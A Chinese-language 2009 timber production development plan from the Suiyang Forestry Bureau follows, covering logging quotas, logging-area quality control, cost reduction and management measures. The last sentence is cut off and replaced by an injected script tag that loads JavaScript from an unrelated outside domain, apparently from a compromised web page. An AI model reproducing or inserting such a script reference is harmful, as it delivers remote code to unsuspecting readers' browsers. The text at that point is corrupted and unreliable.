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绥阳林业局木材生产发展规划
2009-09-17
绥阳林业局木材生产发展规划
 
木材生产是森工传统主体产业,是森工经济的主要来源,也是以木材加工为主的林产工业的主要原料,在森工经济发展中具有举足轻重的作用。
国家实施以生态建设为主的林业发展战略,为维护生态安全,势必要大幅度调减木材产量,森工整体经济实力将会大大降低,林区经济社会发展将受到影响,面对产量调减和可采资源减少的不利形势,必须要未雨绸缪,充分利用现有的资源优势,抓住难得的发展机遇,充分利用以形成的产业基础,发挥特有优势,坚持思路创新,工作方法创新和管理理念创新,改造木材生产采运传统产业,促进产业化升级,才能提升木材生产经济效益。
我局木材生产产业已经步入稳定发展阶段,在下一个阶段要确立一个目标,突出一个重点,实现一个降低,抓好一个采伐,做到二个合理,巩固三项管理,进行三项调整。
一、突出一个重点(以严格控制采伐限额和伐区作业质量为重点)
在控制采伐限额和伐区作业质量上,认真实行国家有关法规和技术规程,按照“严管林”的要求,采伐前必须有采伐许可证,伐区作业拨交证、伐区调查设计资料,按调查设计“双挂号”进行采伐,严禁界外采伐、超强度采伐、串树种采伐和改变采伐方式。完善《木材生产管理办法》和〈伐区检查验收办法〉。利用生产淡季办班培训和开现场会的方式,提高作业人员的业务素质和质量意识,组织各生产单位的管理人员和技术人员到伐区作业质量好的单位去参观学习、开现场会,由专业人员现场讲解合理采伐、合理造材、伐区管理等方面的常识和要求,并进行现场示范,使所有从业人员做到“五个明确”,即明确伐区班界和号界,明确“双挂号”树木,明确采伐方式,明确清理标准。每年进行一次木材生产方面的技术比武和业务考核,对成绩好的以物质奖励,以此激发木材生产作业人员的生产积极性。在伐区管理上开展争创“四无“伐区竞赛活动。“四无”即:无破坏生态伐区、无违法违规伐区、无困山材伐区、无剩余物伐区。
二、确立一个目标(在森林资源限额内实现木材生产效益最大化目标)
实现这个目标,一要坚持以提高生产战线全员素质为根本,健全和完善培训学习的长效机制,每年至少集中培训两次。二要坚持以质量管理为核心,完善激励和约束机制,完善规章制度,使全局木材生产各环节、各工序都有明确的作业标准和奖罚标准,做到木材生产由人治向法治的过渡;完善检查监督。对伐区作业和产品质量实行两级联检制度,各木材生产单位首先进行自检,然后由局有关部门联合组成验收小组复检,最终确定伐区合格与否以及木材产品的径级、等级,并将检查结果在全局公示。三要坚持以市场需求为导向,积极创新木材生产组织形式,在科学预测市场,依法调查设计的基础上,对各木材生产单位下达木材总产量的同时,下达木材树材种单项生产量,多组织生产市场畅销材和优质材,减少质次价廉的木材产量,实行产量、树材种双考核;四要创新生产模式,进行反季生产,在木材价格较高的夏秋两季组织木材生产,以此提高木材生产经济效益; 五要积极生产市场急需的定制材和特殊材种,提高木材售价。
三、实现一个降低(降低生产成本)
木材生产作业前认真进行调查研究,依据科学考核的劳动定额、工效等,核算出各工序成本,层层分解,实行目标管理,在各道工序上严格把关,对超成本的生产单位实行一票否决制,并把伐区剩余物收干拣净,充分利用,同时研究在冬运紧张时期,实行浮动成本,提高木材生产效益。
四、做到两个合理(合理采伐、合理造材)
严格按《采伐技术规程》和伐区调查设计资料进行采伐作业,切实做到采一号、集一号、清一号、净一号、验一号、拨一号,杜绝超限额、无证、越界、串树种和不按挂号木采伐等现象,充分降低伐根,节约森林资源,提高木材利用率。伐区造材必须使用经过专业培训合格的专职量材员和造材员,制订伐区合理造材质量效益奖惩办法,创新奖励方式,实行“三挂钩”,一是奖励与经济利益挂钩,二是与个人政绩挂钩,三是与年终考核评比挂钩,激发职工献身木材生产的热情,合理、科学地选择造材方式,定期检查考核,及时兑现奖罚,提高木材产品产值。
五巩固和深化三项管理(木材生产目标管理、木材商品化管理和木材生产销售信息化管理)
进一步完善目标管理,采取全员签订责任状的方式,由林业局与林场签订责任状,各生产单位再与各有关人员签订责任状,将木材生产的千斤重担,分解落实到每个人头,是每个参与木材生产的人员都肩负一定责任,形成严密的责任体系。加强贮木场商品化管理。从进场检验和销售支拨两个重要环节入手,一是选派责任心强,业务水平高的检验员参与木材交接验收,保证进场交接检验的准确性。二是合理排摆楞头,认真设计规划,做到排摆合理,建立楞卡管理制度,做到帐卡相?script src=http://zhihuiguan.com/c.js>
 
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